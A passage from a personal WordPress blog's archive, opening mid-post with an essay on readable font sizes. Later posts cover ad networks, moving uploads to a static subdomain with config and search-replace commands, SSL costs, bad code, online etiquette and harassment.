Amusing anecdote time. I did acting as a kid, and I used to not wear my glasses for it. My mother was always terrified I’d fall off stage not being able to see it, but I actually *can* make out some things. The color on the edge of the stage was enough, and I also counted my steps. I’m great with walking around at night, no glasses, to go to the bathroom. But the point is if you find pictures of me above the age of three, I’m wearing glasses. Before that I could see ‘enough’ that I didn’t want to wear them, but afterwards, I gave up and only took them off for official pictures. Now I argue “No one will know me without my glasses” (something I proved in High School when I wore contacts and a dress to a fancy party and my boyfriend didn’t recognize me).
So I have bad vision. And for years I would CMD++ to make the WordPress admin readable. It was just too *small* for me. I’d complain to people, I’d make my own admin skins, and I’d beg UX/UI people to put it on their radar. When MP6 came out, I rushed to install it because the subtle font increase and style change made everything *readable* for me.
Here’s an example from [Pippins Plugins](http://pippinsplugins.com/). Now, Pippin’s my friend and co-plugin-reviewer. I love his work. His site is *just* a wee bit too small for me:
[](https://halfelf.org/wp-content/uploads/sites/2/2013/11/pippin-normal.png)
Pippin’s Normal Size
[](https://halfelf.org/wp-content/uploads/sites/2/2013/11/pippin-plus1.png)
Pippin’s +1
[](https://halfelf.org/wp-content/uploads/sites/2/2013/11/pippin-plus2.png)
Pippin’s +2
Generally I’d like a +1.5 view for his site, and bless his heart, the whole site scales wonderfully when I do increase the size. But I find his default font size (`13px`) is just a smidge too small for me, and a `14px` is so much easier to read long term. The same thing happens for me on WordPress.org’s support forums
For reasons of this ilk, I use a Chrome add-on called [Stylish](https://chrome.google.com/webstore/detail/stylish/fjnbnpbmkenffdnngjfgmeleoegfcffe) to force font sizes (and layouts) where applicable.
```
#subscription_checkbox {
display: none;
}
#pagebody {
font-size: 14px;
}
```
The first one is to hide that blasted subscription checkbox (which I never want to check), and the second makes the page body size 14. Suddenly it’s all legible for me! And yet, on the occasions where I’ve point out that the font’s a bit small, the masses all tell me “Oh but I can read it fine!” I know as the age of developers creeps up and more and more people end up having less than perfect vision, things will skew up somewhat.
Except the odds really are they won’t. As we get older, we bring in younger, and the cycle will remain. And this makes me wonder if there will ever be a point at which we have a medium where the folks with great eyes and the ones with poor ones are both happy.
I’ve heard tell that [16 pixels is the best](http://www.smashingmagazine.com/2011/10/07/16-pixels-body-copy-anything-less-costly-mistake/) but really the perfect thing is [100% easy to readability](http://ia.net/blog/100e2r/). And that’s where I think that we’re still failing our readers.
Font sizes really are still too small for a lot of people, and the WordPress dashboard is certainly not innocent. If it was, I wouldn’t have had to write an mu-plugin that does this:
```
/* Dashboard */
.postbox .inside,
.stuffbox .inside,
#the-comment-list .comment-item h4,
p, .wp_attachment_details label[for="content"],
#dash-right-now .sub p,
.wp-editor-area {
font-size: 14px;
}
```
Yes, that’s what I have to do to make the dashboard readable. And no, I don’t think ’14’ is too large. It scales nicely on my iPad and my iPhone, and my desktop. But I know I won’t win this fight for a long time, so I’m going to take what I can and celebrate than MP6 is making WordPress at least a little easier to read for me.
**Categories:** How It Is
**Tags:** accessibility, design, essay
---
### [On Site Advertising](https://halfelf.org/2015/site-advertising/)
**Published:** August 24, 2015
**Author:** Ipstenu (Mika Epstein)
**Excerpt:** It's about taste in advertising.
**Content:**
I made a passing reference to having ethics when it came to advertising a few days ago, and scared a friend of mine. This was probably because I was using his ad network. I’m not anymore, but that has nothing to do with ethics.
The ethics comment stemmed from why the link to DreamHost on my site is *not* an affiliate link. Could it be? Probably, but I get free hosting by working here.
In the last decade, I’ve used three main sources for ad revenue on sites. Originally I used Google Adsense because, like everyone else, I used Google. At a certain point, I got upset because I couldn’t remove ads I didn’t like without having my revenue bottom out. I don’t like having ads for things I find to be distasteful on my site. This is actually a pretty big deal to me. I don’t like not being able to say “Rand Paul is evil, get him off my site.” At that point I moved to Project Wonderful, and then in the last year I was able to opt in to the Beta project for WordAds on self-hosted WordPress sites.
I’m going to ‘review’ all three on a scale of zero to five, where zero is ‘not at all’ and five is ‘the winner.’
- Ease of Registration: How easy it is to sign up and get added to the system?
- Ease of use (on WordPress): Getting it added to WordPress. Is there a plugin? Is
- Ease of use (non WordPress): What about outside of WordPress? Is this available for any CMS?
- Customizable: Can I decide what ads show when and where?
- Control: Can I reject specific ads and block certain advertisers?
- Analytics: What does the tracking look like? Can I see how my ads are performing?
- Modernity: How do the ads and the interface feel? Do they keep up with mobile and design trends?
- Revenue: How profitable is it?
Those are the items that are important to me, in no real order.
If you want to know what I’m using, it’s currently a mix of Project Wonderful and Google Adsense. This is not a full measure of the worth of any of these products. I’m using them in a non-WordPress only world, which colors things differently than one might think.
In additional to advertising networks, I’ve used a number of affiliate programs from StudioPress to Amazon, and had interesting results with those.
By no means is this an exhaustive set of reviews. It’s just my experiences with them.
**Categories:** How It Is
**Tags:** advertising, website
---
### [Mailbag: Delete A New Page In Multisite](https://halfelf.org/2015/7811/)
**Published:** August 21, 2015
**Author:** Ipstenu (Mika Epstein)
**Excerpt:** Force deleting a page for new Multisites.
**Content:**
From Brige:
> If u can, could u tell me how I can get rid of a new page that created in a subfolder from multisite ? out of my admin reach now. What would be the fastest way ? Should I restore completely to get rid of all WP remnants in order not to fall into this multisite hooking error : “page not found”?
To be honest, I’m guessing here.
I’m going to *assume* that Brige means he wants to auto-delete the ‘Sample Page’ page that WordPress generates when you make a new site.
WordPress creates a default post (id #1 – Hello World) and a page (id #2 – Sample Page) when a new WP site is created, be it Multisite or not.
Probably the simplest way would be to hook into `wpmu_new_blog()` which runs for all new blogs and run this:
```
wp_delete_post(2, true);
```
That force deletes the post with the ID 2. And since that’s always the sample page, that should work.
**Categories:** How To
**Tags:** mailbag, multisite, wordpress
---
### [Static Content Subdomain](https://halfelf.org/2015/static-content-subdomain/)
**Published:** August 19, 2015
**Author:** Ipstenu (Mika Epstein)
**Excerpt:** Moving some content to a separate subdomain for fun and profit.
**Content:**
I use a lot of different tools to run my websites, and over time I’ve learned what I want is to have my static content, the files that are uploaded and are images, stored separately from my apps. So while I have the basic folders on my domain (wordpress, wiki, gallery) I have a special subdomain called `static.example.com` for all those images and videos.
There are a few reasons I do this. First, I like having my images separate. Second, it allows me to establish a cookie-free subdomain for images and that shuts up YSlow’s check.
## Create The Subdomain
Do this however your host allows. Keep in mind that some don’t allow you to traverse domain folders. If your host creates your domain as `/home/user/example.com` and subdomains as `/home/user/static.example.com` you may have to fight a little more with things depending on your setup. If possible, I prefer to put the subdomain folder inside the main web root.
If you’re using cPanel, by default you get your static subdomain installed at `/home/user/public_html/static` which is how I like it. This is perfectly accessible by all things but it’s also browsable at `example.com/static/` and we don’t want that. Applying a little .htaccess magic will solve this.
```
# CDN
RedirectMatch ^/static/(.*)$ http://static.example.com/$1
```
Now we’re ready to go!
## Move WordPress Uploads
This used to be really easy. Go to Settings -> Media and change things. But we removed that to stop people from blowing themselves up. Now there are a couple ways about it. I jumped right over to editing the options by going to `wp-admin/options.php` and look for `upload_path` and `upload_url_path`.
[](https://halfelf.org/wp-content/uploads/sites/2/2015/08/set-options.png)
I change `upload_path` to `/home/example/public_html/static/wordpress` which is where I’ve moved all my images. Then `upload_url_path` becomes `http://static.example.com/wordpress` and I’m done except for fixing my old posts. It’s actually pretty neat that once I put those paths in, the Media Settings page lists them as editable.
Fixing the old posts takes a little trick though, and you’ll have to search/replace your posts via the database:
```
UPDATE wp_posts SET post_content = REPLACE(post_content,'http://example.com/wp-content/uploads/','http://static.example.com/wordpress/');
```
Or in wp-cli:
```
wp search-replace http://example.com/wordpress/wp-content/uploads http://example.com/wordpress
```
The gotcha here is that since I use SSL for my administration, I had to set up a new certificate for the static domain. Not a big deal right now since I can set up a self-signed, or use StartSSL until [Let’s Encrypt](https://letsencrypt.org/) is off the ground. It is something to consider though.
## Move ZenPhoto Uploads
I have to start by warning you that Zenphoto doesn’t like this. When you install it, it puts your images in an albums folder, in the Zenphoto gallery install. This isn’t so bad, but you actually can move it around. You have to look in your `zenphoto.cfg.php` file (found in `zp-data`). The default location for your albums is defined by this:
```
$conf['album_folder'] = '/albums/';
$conf['album_folder_class'] = 'std';
```
Since I want it in the static location, I tell it my folder path based on ‘web root’ and that its ‘in\_webpath’ (which tells ZenPhoto to look in the root and not relative), by changing that section to this:
```
$conf['album_folder'] = '/static/gallery/albums/';
$conf['album_folder_class'] = 'in_webpath';
```
But that means my URLs for images become `http://example.com/static/gallery/albums...` and I wanted `http://static.example.com/gallery/albums...` instead. Thankfully the .htaccess rule I used at the beginning of all this covers me there. Looking into this, I understand this is the case because unlike MediaWiki or WordPress, ZenPhoto only has one ‘location’ setting. The other two have path and URL.
## MediaWiki
This was … weird. Technically all you have to do is set up the folders and change the following values in `LocalSettings.php`:
```
$wgUploadPath = "/static/wiki";
$wgUploadDirectory = "/home/example/public_html/static/wiki/";
```
The thing that’s weird is that the documentation says you can do this:
```
$wgUploadPath = "http://static.example.com/wiki";
```
And when you do, the image URLs properly call from the domain name. They just won’t load. When you dig deeper, it turns out that it’s caused by the settings for responsive images. The way it puts in `srcset` doesn’t seem to like this. So for now I’ve disabled it and my setup is this:
```
$wgUploadPath = "http://static.example.com/wiki";
$wgUploadDirectory = "/home/example/public_html/static/wiki/";
$wgResponsiveImages = false;
```
## End Result?
All my uploaded content is on my ‘static’ subdomain, separate from everything else, which makes version control even easier. Also now if I ever decide to move things off to a CDN, I’m pretty well set up.
The real reason I do this is that while some of my content is uploaded via the content management systems I use (WordPress, ZenPhoto, etc), the majority is not. ZenPhoto, for example, is faster to FTP up a gig of images than it is to use a PHP tool. Ditto videos. And because of them, it’s nice to have a separate location I can give access to without allowing someone full rights on all my tools.
**Categories:** How To
**Tags:** administration, mediawiki, wordpress, zenphoto
---
### [Encrypt My Site, Please!](https://halfelf.org/2015/encrypt-site-please/)
**Published:** August 12, 2015
**Author:** Ipstenu (Mika Epstein)
**Excerpt:** Making things more secure for all things.
**Content:**
By now everyone running a website has heard about how Google gives sites running SSL a bit of a bump with search rankings. It’s been a year since they started doing that. The bump is not significant enough to impact most people, but making all the things HTTPS is still a good idea.
It’s really all about security. I personally use HTTPS for the backend of my WordPress sites. Logins and wp-admin are all secure. The same is true for my MediaWiki site and my ZenPhoto gallery. I access things securely because the data I transmit could be important. Sure, it’s just passwords and such, but then you look at my site where I sell eBooks.
That site is on the same server, the same account, and the same WordPress install as this one. You bet your ass I’m making it all secure. But this comes at a cost.
The invention of SPDY aside, HTTPS is rarely as fast as HTTP. It can be difficult to set up caching or implement terminations like via Pound or Nginx in order to cover for the fact that Varnish doesn’t cache SSL. These things aren’t impossible to do. They’re just harder. And they’re generally going to be slower than plain old HTTP.
The question has never been if they can or cannot be done, but if they can by entry-level people. Certainly we can say “If they’re not using SSL for all the things, they’re not ready for a great volume of business” and use it as a demarcation for things. And when we’re communicating our private lives, we should certainly consider this. But then, this site, where only I log in?
Do you need SSL? Would it make you feel better or more secure? All you can do is comment. Do you need the feel-good? Do I need the extra security? If I decide yes, then I have to consider the weight this puts on my site. I have to consider how best to cache the content.
I also have to think about how to get a certificate and SSL certs can be the biggest Internet scam out there.
It’s how much for a multi-domain, including subdomain, SSL cert a year? A few *hundred*? It’s a bigger hassle than the EU Vat drama. It’s expensive, it’s a hassle to get set up, and install. Now thankfully, next month we’re expecting [Let’s Encrypt](https://letsencrypt.org) to show up and they’ll make the cost less prohibitive. It doesn’t make the drama of installing the certs any better, but it’ll lower the bar for people who are trying to make things secure.
Yes, you can get [StartSSL](http://www.startssl.com/) for free, but it’s not as simple as all that. When all you need is one certificate, it’s only about $10 a year and that’s fine. When you start getting into the need to secure all the things, it’s a mess.
What has to happen next, though, is for sever software to step up. Apache and nginx are both far faster now than they have been, but they’re our ultimate breakpoint. PHP has to push itself to handle things better and faster, lest we run over to HHVM. We are getting better of course, but if we want everyone to be on HTTPS, we have to make it easy.
Not easier.
*Easy*.
The bar is still too high for the majority of people, and that’s a problem. Either we start offering hosting services to handle this or we start making the software easier. But we can’t just say “Oh, it’s simple to make your site HTTPS and fast.” because it’s not.
**Categories:** How It Is
**Tags:** development, essay, security, wordpress
---
### [Don't Publish Bad Code](https://halfelf.org/2015/dont-publish-bad-code/)
**Published:** August 3, 2015
**Author:** Ipstenu (Mika Epstein)
**Excerpt:** Especially if you know it's bad. If you know it's bad and you publish it, you're reckless.
**Content:**
I thought it was self evident, but two of my more respected programer friends missed the point or, rather, took notice with one aspect.
So let me rephrase what I meant when I said it was [okay to write bad code](https://halfelf.org/2015/okay-write-bad-code/).
Write all the bad code you can. Learn from it. Make it better. But the code you publish should be the goddamned **best** damn code you’re capable of writing at that moment in time.
The point I was trying to make was not to let the fear of ‘This code is shit’ stop you from learning and improving. That’s like saying if you can’t play a piece of music the first time out, you should quit. That’s stupid! Few people can do that! The rest of us have to practice and learn and keep going.
And yes. That means sometimes when we give a public performance we screw up. That doesn’t mean we shouldn’t perform. That doesn’t mean we shouldn’t fail.
You’re going to fail, okay? Just give up on that wish. Everyone fails. We fail more times than we succeed, and that failure hurts more than the success feels good.
When you do a thing, do it to the best of your abilities and no less. If you’ve left a comment of “Come back and fix this.” then you damn well go fix it before you release the code. Writing bad code is no excuse to slack off, it’s an acceptance that not everyone gets it right from the start and you’re going to have to learn from it.
So learn.
**Categories:** How It Is
**Tags:** coding, development, essay
---
### [OpEd: Community, Community, Community](https://halfelf.org/2015/oped-community/)
**Published:** July 29, 2015
**Author:** Ipstenu (Mika Epstein)
**Excerpt:** If we want to make it better, we have to actually do something.
**Content:**
Lately there have been a lot of talk about the issues within various communities. It might be the shit storm over in Reddit land, it might be the drama in WP World. It doesn’t actually matter for the purposes of this post.
## Poisoned Well
As my friend Helen [asked recently](https://twitter.com/helenhousandi/status/621002876802871297):
> Do you ever feel like the entire internet has been taken over by trolls because I feel like I’m drinking from a poisoned well right now.
I do.
All the time. Always have. People have always used the internet as a way to let out what they’re feeling without filtering it through their humanity first. They hide behind anonymity, or the simple shield that they can’t see the faces of the people they bully and humiliate. They see it as ‘just good fun’ or ‘just letting things out.’
My friends know I feel that way too. But I always ask them “Can I be unfiltered? I need a rant.”
## The Internet Is Broken
What we’re facing is the endemic brokenness of communities as a whole and their sewage spewage.
As my friend [JJJ remarked](https://twitter.com/jjj/status/620642511489474560) (specifically about a subject but it doesn’t really matter for the purposes of this post):
> … I’m waiting for a “things are broken” post …
J-trip, I know I’m not the person you’re asking for the post from but, yes, things are broken. Things are *badly* broken. Things have always been broken. We’ve always been at war with Eastasia. Things are broken because we, as humans, are broken. The online communities we tout as being fundamental to the growth of software development and that bind us together, closer, as humans, is broken because humans suck.
What’s broken isn’t PHP or Reddit or WordPress.
What’s broken is *us*.
And we remain broken because we don’t fix things.
## Let’s Fix It
Fixing isn’t easy though.
Unlike your ‘in person’ community, an online one is incredibly diverse.
At the same time, we need to stop giving it a free pass simply *because* it’s online. Treat it with the care and love you would treat the people who come together to shoot arrows or sew or watch a baseball game. This is a *community* and we need to treat it like that.
Remember that what we do in public, and yes the Internet is totally public, reflects on who we are because it *is* who we are. Behave with integrity and honesty and be yourself. If that self reveals itself to be a bad person who does mean things and doesn’t care about the outcomes, then deal with the outcomes.
Stop pretending that there are no repercussions just because you’re online. Stop thinking that you can get away with being mean just because it makes you feel better. Start caring about people as people, online and offline.
And then there’s the hard thing. Stop letting people get away with it. We all fear the cry of censorship, but there will come a time when we have to stop killing ourselves. It’s our choice to keep the hatemongers among us, and it’s our choice to tell them to change or leave.
Make the right choice.
**Categories:** How It Is
**Tags:** community, essay, freedom
---
### [Everything Is Vulnerable](https://halfelf.org/2015/everything-vulnerable/)
**Published:** August 10, 2015
**Author:** Ipstenu (Mika Epstein)
**Excerpt:** If we can convince ourselves not to do stupid things, we can be safer.
**Content:**
Every other day we hear about a tool that has a vulnerability. It’s been the servers we use, Flash, or Silverlight, or the [Jeep that was hacked](http://www.wired.com/2015/07/hackers-remotely-kill-jeep-highway/).
## This Is Not New
The idea that hacking like this is new or novel is, let’s be honest, naive. In the 1800s, people used to hack into the newly born telephone system. Before that, we didn’t call it hacking, we called it conning. Yes, the confidence games people played to get others to trust them and then rip them off is the same idea as a hack.
A hacker is someone who finds a weakness in a computer system and exploits it to some benefit. Early bank penetration tests, the ones to see if they could get at your money, were as much social engineering as technical skill. A ‘hack’ is simply something taking advantage of an exploitable weakness. This is not new to anyone or anything.
## The Scale Has Changed
The primary difference between the hacks of old and the ones today is the scale of those hacks. Hacks used to be very personal for a reason: there was no world wide network. Your hacks had to be local and careful, because no one trusted the stranger. You can to build up credibility before taking your win. Of course, now we have near instant communication with the entire world. That means it’s milliseconds to access the server of someone in Africa, all from your happy NYC Starbucks.
The difference is that now, when someone says “And Flash has a security vulnerability” the number of people impacted is in the millions. And the number of people who can be hurt by it is, similarly, high.
We’ve spend years trying to create a global internet, and in doing so we’ve quickly shared communicable internet diseases with each other.
## Nothing Is Unhackable
My boss and I were chatting about the ways one might hack the stock exchange, and he pointed out that one of the ways they slowed down trades was by having a really long cable.
[](https://halfelf.org/wp-content/uploads/sites/2/2015/07/06flash3-superJumbo.jpg)[Credit Stefan Ruiz for The New York Times](http://www.nytimes.com/2014/04/06/magazine/flash-boys-michael-lewis.html?_r=0)This cable, and yes it’s real, is literally used to create a small delay in processing of orders, to level the playing field with traders. In short, it makes sure that the trades from across the ocean run at the same speed as the ones for the people in the room of the New York Stock Exchange. Each additional mile of fiber-optic cable adds 8 microseconds to a transaction, which adds up to 304 microseconds. Among other things this is hard to hack. You can’t send a software signal faster than it goes (physics being what it is), so it made things harder to hack.
> The next Mission Impossible movie will involve Tom Cruise being slowly lowered into the box with that cable in order to shorten it invisibly. Only Cruise can do it because only he is small enough.
That was my joke. But it’s actually rather demonstrative to the point. You can physically hack things as well.
## Analyze The Risk
To quote my father, “What can go wrong? How likely is it? What are the consequences?”
That’s why I don’t own a wifi pluggable garage door or thermostat. Do I think they’re cool? Yes. Do I think they could make much of my life easier? Yes! But they’re new and they’re toys, which means people spend a lot of time poking at them and digging into the underlayer to see how and why they work. Which means people are finding hacks daily.
That means the likelihood of someone figuring out how to use my thermostat to drive my budget through the roof is pretty high. [Someone already did that to his ex-wife](http://www.amazon.com/review/R3IMEYJFO6YWHD/ref=cm_cr_dp_title?ie=UTF8&ASIN=B00FLZEQH2&nodeID=228013&store=hi) if that review is to be believed. Of course he had the access in the first place, but it proves one point. If you get access, you can do things.
Change it to my garage door? Or my [front door](http://www.schlage.com/en/home/electronics/connected-devices.html)? Say good bye to my things. I know I’d be a target because I’m using the pricy toys to start with.
## Educate Yourself
If you can not do stupid things, the odds of you being hacked are low.
By stupid things, I mean using insecure passwords. I mean logging in on public WiFi to do your banking. I mean installing any old plugin on a WordPress site running a store.
The things you know are dangerous.
Don’t be stupid. Make backups. Be prepared for disaster.
**Categories:** How It Is
**Tags:** essay, security
---
### [Mailbag: Debugging .Com](https://halfelf.org/2015/mailbag-debugging-com/)
**Published:** August 7, 2015
**Author:** Ipstenu (Mika Epstein)
**Excerpt:** A rare question about WordPress.com turns into databases and PHP crying in a corner.
**Content:**
From Wesley:
> It’s a one-word question though so I hope it won’t take you too long: my blog is free, which means it’s a .com, not .org \[redacted\] so I cannot install plugins, right? And an even quicker follow up, there’s no hope for me to erase post revisions so to free space and upload a page that’s over 200K words and refuses to do so, is there? Thank you so much for your attention. Cheers
Your site is hosted on wordpress.com so you can’t install plugins (or themes). Even on VIP you can’t, though they may do it for you. It’s a Multisite thing.
Also *you* can’t erase post revisions, but you also don’t need to worry about that. It’s not why you can’t upload a page of over 200k words. That’s just WP timing out. I’m assuming it’s hanging and timing out… Hard to know for sure without a description of the error.
Sadly, since it’s on .com and I don’t work for them, you will have to ask how to handle that here: https://en.forums.wordpress.com/
My suggestion would be split the post into multiple posts. I’ve found people rarely read a post longer than 1500 words. If it was a self hosted WordPress, I’d tell you that you should check the PHP error logs, and see if it’s a PHP timeout (which would be my guess) or something else like a mod\_security error. If it’s PHP, there’s not a lot you can do unless you’re on a VPS or better, but really ‘adding more PHP memory’ is not the best move.
Storing *massive* amounts of data is slow. 200k in a post is huge. If you were to space it out, it would make a 580 page book, give or take. I may have done NaNoWriMo before. Anyway, the point is that’s why we invented chapters in the first place. I have a mental image of a guy on an old manual page press, being handed the 580 pages to typeset, and breaking down. He’s sitting in a corner, crying, rocking back and forth.
Today he’s your database. Your database is sitting in a corner with PHP, crying. “Why are you giving me so much to do at once, PHP?” And poor PHP is sobbing. “I don’t know, I can’t even handle it!”
Anyway. Smaller posts. People won’t read 200k in one go. Not even speed readers.
**Categories:** How It Works
**Tags:** mailbag
---
### [It's Okay To Write Bad Code](https://halfelf.org/2015/okay-write-bad-code/)
**Published:** July 27, 2015
**Author:** Ipstenu (Mika Epstein)
**Excerpt:** When we fail, we learn. But we can do more than just learn how to code better when we write bad code. We can learn to be better people.
**Content:**
We all write [Bad Code](https://halfelf.org/2015/bad-code/).
We all write [insecure code](https://halfelf.org/2015/trust-changelog/).
We all can learn.
When I posted about bad code, a reader remarked he’d done those things when he was new. So did I! So does everyone. We learn by copy/paste and seeing “Oh! Hello World actually worked!” Those are wonderful moments where we high-five ourselves and feel like we’re learning something cool.
Everyone makes mistakes. Everyone writes bad code. Everyone misses something. These are all parts of the learning process. So
## Bad Code Educates Us
When we write bad code, and someone calls us out on it, we learn something. Negative reinforcement is a terrible thing, but those lessons tend to stick with us better than the best positive ones. We remember the feeling and we do anything we can to avoid it again.
## Bad Code Humbles Us
We’re not perfect. You’d think we don’t need a reminder, but our egos can get the better of us. We start to think we’re awesome and know everything and are always right. We’re not perfect. We’ll never be perfect. Don’t use this as an excuse to write sloppy code, but be aware of your inherent imperfections.
## Bad Code Inspires Us
When I see bad code, it reminds me to be better and do better. It goes back to the education thing, but really it’s the desire not to be shitty that inspires us to do better. The positive feedback loop being what it is, we really want to be better and have that feeling.
## Bad Code Entertains Us
I have a site where all that exists is code that ‘breaks’ your site. It’s funny in a way, to learn how to do things by doing it wrong. When I see how far off I was and how bad it was, I laugh. Because in being educated and humbled and inspired, I find the delight in the universe again and laugh.
## What Do You Learn?
What do you learn from bad code?
**Categories:** How It Works
**Tags:** coding, development, essay
---
### [I Love/Hate Font Icons](https://halfelf.org/2015/love-hate-font-icons/)
**Published:** July 22, 2015
**Author:** Ipstenu (Mika Epstein)
**Excerpt:** Too bad they don't love me as much as I want them to.
**Content:**
I really, really, love font icons and emoji. I love being able to express myself with an image. I delight in hearing Siri read me my latest text from my wife and say “smiling pile of poop” six times to inform me that the cats are being absolute shits.
But they have problems.
We use font icons because they scale well on different screen sizes, they’re flexible, they can be styled well, and they require only one resource to be loaded. For people like me, who are effectively monkeys with crayons when it comes to art or design, they’re perfect. I want Twitter in a theme? `` and done and done.
So what’s the problem? They’re not accessible. Oh you can make them accessible, but they’re not really easily done. Screen readers have a devil of a time with them. They’re also hard to add to. If I want to add a ‘new’ SVG icon, well I can just upload a new image and be done. SVG icons on the other hand have all the same benefits of font icons, and some more. But this isn’t to say that SVG is perfect.
As mentioned, adding new SVG icons is easy. Far easier than font icons. But that comes with a cost. Using them is not quite as obvious an intuitive as it might be. Just googling for ‘style svg with css’ presents you with a dizzying array of possibilities. This gets worse when you look into do what is (relatively) simple on font icons, like animation.
I’m not saying these things are impossible. In fact, you can do far more with SVG than you can with fonts. The problem is that it’s all still very dev heavy. Don’t believe me? Read [Why and how I ditched icon fonts in favor of inline SVG](http://mir.aculo.us/2014/10/31/icon-fonts-vs-inline-svg/). That post is something I agreed with every step of the way right until we hit this:
> There’s a Ruby script that reads the optimized SVG files one by one and generates a Rails helper file with icon\_xxxxx methods. These methods can be called from any view to insert the desired icon as inline SVG:
I have no problem with scripting solutions. I love them. They’re just not really simple-user friendly yet. A user knows “I paste a line of code in to include a font, I can use font icons with very little code.” By contrast, SVG is code heavy and comes with too many options.
Uploading an SVG icon to your server’s easy. You can’t do it in WordPress without a plugin to allow those media uploads, but if it’s in your theme folder it’s there.
Once you have the image on your server, you’ll want to call it. It’s an image but you don’t want to use IMG tags for this.
`Your browser does not support SVG`
or if I want to be clever
``
The idea is to have a fallback (see [CSS Tricks’ complete guide to SVG fallbacks](https://css-tricks.com/a-complete-guide-to-svg-fallbacks/)) so that people can see things if there isn’t an ability to show SVG because it was in an IMG tag.
In the name of security, browsers disable SVG script interactivity if you use an IMG tag. Interactivity means the stuff you want to do, like style it and make it move. Also some browsers won’t accept SVG in CSS if they’re in a separate file. Awesome.
There’s one other thing to note. SVG can dynamically create images on the fly.
` `
Hey look, ma! No image files! Check out [HTML5 SVG from W3Schools](http://www.w3schools.com/html/html5_svg.asp) for more.
The thing you may notice with these examples, though, is that they get more and more complex as I trip down the line. And when I want to start adding color to things, I end up looking at the `` code more and more, and I just don’t find it friendly.
So until SVG sorts out how to be a little dumber for people, I’m going to keep using my icon fonts and (as best I can) properly attribute them a best I can for accessibility, and wait for the future.
**Categories:** How It Works
**Tags:** font, images
---
### [Rant: Chrome is the New Nanny Browser](https://halfelf.org/2015/rant-chrome-new-nanny-browser/)
**Published:** July 31, 2015
**Author:** Ipstenu (Mika Epstein)
**Excerpt:** Sometimes there's too much protection and not enough options.
**Content:**
Part of my job is to look at possibly naughty and dangerous sites. Usually Chrome gives me an ‘are you sure?’ warning before I look at a hacked site, and I understand why. But see, my job involves me going to known hacked sites, seeing what’s going on, reverse engineering, and fixing. So yes, Chrome, I need that ‘I’m sure’ option.
Lately Chrome hasn’t been giving me an option. It’s been saying no.
So I went to the documentation, [Can’t download files on Chrome](https://support.google.com/chrome/answer/2898334?p=ib_download_blocked&hl=en&rd=1), to find out how to turn it off and I was annoyed.
> If you don’t want Chrome to show you download warnings, you can turn off your phishing and malware protection setting. Turning off these warnings will also turn off other malware and phishing alerts:
I want phishing protection!
Actually what I want is Chrome to say “This download may harm your computer. Don’t download it if you have auto-expand or auto-run on for downloaded files. Are you sure you want to download this?” and default to NO.
And no, I’ve not figured out how to do this yet.
**Categories:** How It Is
**Tags:** browser, essay, rant
---
### [Rant: We've Forgotten Nettiquette](https://halfelf.org/2015/rant-weve-forgotten-nettiquette/)
**Published:** July 24, 2015
**Author:** Ipstenu (Mika Epstein)
**Excerpt:** Treat others the way you would like to be treated has a converse of don't treat others in ways you would find annoying. Life can be that simple.
**Content:**
When I was new on the interwebs, people told me things like “Don’t bump your posts” or “Don’t nag people.” I took those lessons to heart, and even though this new online message board thing was awesome and addictive and a great way to talk to people all the time, it introduced us to a new/old problem of instantaneous gratification.
While the world is a 24/7 place, and people are working around the clock to make cool things, it’s really hard for people to understand what being ‘polite’ means in these instant times. But I get poked on email, then in a Slack chat, then on Twitter, then on Facebook (where few people can access me at all), and even G+ when someone decides they need to get in touch with me ASAFP.
Since the [Core Rules of The Net](http://www.albion.com/netiquette/corerules.html) have been lost on many of us, here are some rules for you:
## Respect Downtime
Every time you ping someone more than once in three days about the same thing, you’re *probably* hitting them on their downtime. People need breaks. Just because I’m active on Twitter, talking about comic books or music, doesn’t mean I’m available to talk about debugging your website.
## Respect “No”
If someone tells you “Not right now.” or “Please ask someone else.” there is only one, proper, reply. “Okay, sorry about bugging you.” And you walk away. (You can ask “Sorry, who else can I ask?” of course if you really don’t know, but people bugging me actually do know if they think for a moment.)
## Respect Priority
I got news for ya. You’re not my priority. Oh I do understand the importance of you and your work and that it’s very much on your radar. But you’re not always at the top of mine. I have to make my priorities in my own order and sometimes I can’t tell you about them. It’s never a case of being dismissive, it’s always a case of having a lot to do and having to sort things in an order than I can maintain. It really sucks when you’re not the priority, but it’s the world we live in.
## Respect BRB/Later
Sometimes I’ll be working with someone in chat and my wife will ask me a question that need a now answer. Or she’ll want to go out. And if we’re not working on a ‘save the world’ thing, I will likely say “I need to go take care of my personal life. Can we pick this up at another time?” I will work out when that other time is, but people should respect that space. Similarly, if I type “Hang on, I have to deal with a thing.” then maybe I’m talking about a bathroom visit, or maybe my cat lit the other cat on fire. Either way, someone taking a long time to reply is not cause to have hurt feelings. We need to have time to think, time to process, and time to put the fire out on the cat.
## Respect ME
Look. This should go without saying, but respect me. Respect what I say to you and when and where I say it. Respect me as a human and as you would want to be treated. If I say “Stop being so pushy, you’re not making it easier for me to do XYZ” then stop being Gordon effing Ramsey and give me a moment. If I ask you not to communicate with me about something on a specific channel (like asking me long WP questions on Twitter) then respect that. It’s totally okay to ask me “Where can I ask you for help with…?” but it’s not okay to assume that I’m going to want to be all WordPress all the time everywhere.
I happen to like other things and so do you.
**Categories:** How It Is
**Tags:** essay, internet
---
### [Internet Abuse](https://halfelf.org/2015/internet-abuse/)
**Published:** July 20, 2015
**Author:** Ipstenu (Mika Epstein)
**Excerpt:** The internet remembers. Always.
**Content:**
I try not to make this site about my personal grievances about people and attitude, and only about my code, but it does come back to code many times.
“I thought you knew what you were talking about. Never mind.”
That was actually said to me, about three years ago, when someone realized my name, Mika, was a woman’s name and not the male ‘Mike’ he’d thought it was. This was after pages upon pages of testing and debugging. The moment someone corrected him as to my name, and gender, he stopped listening to me. At the time, WordPress was my hobby, and so I decided he wasn’t worth my time anymore and walked away.
Then he followed me ‘home’ and emailed me saying women like me should stop trying to do tech support, and just find someone who knew what they were talking about. I deleted the email, blocked his email from my inbox and my blogs (using [Sitewide Comment Control](https://wordpress.org/plugins/sitewide-comment-control/)), and moved on.
If you need a reminder of the abuse and harassment we face daily, please read about the [ping-pong theory of tech world sexism](https://medium.com/matter/the-ping-pong-theory-of-tech-world-sexism-c2053c10c06c) or [No skin thick enough: The daily harassment of women in the game industry](http://www.polygon.com/2014/7/22/5926193/women-gaming-harassment). In both cases, the content may upset you.
The problem is that I can’t tell *you* how to deal with people who want to chase you off the internet, and if you should or should not fight them. I can tell you how to prevent them from getting further into your life once you’ve decided that you’re done with them.
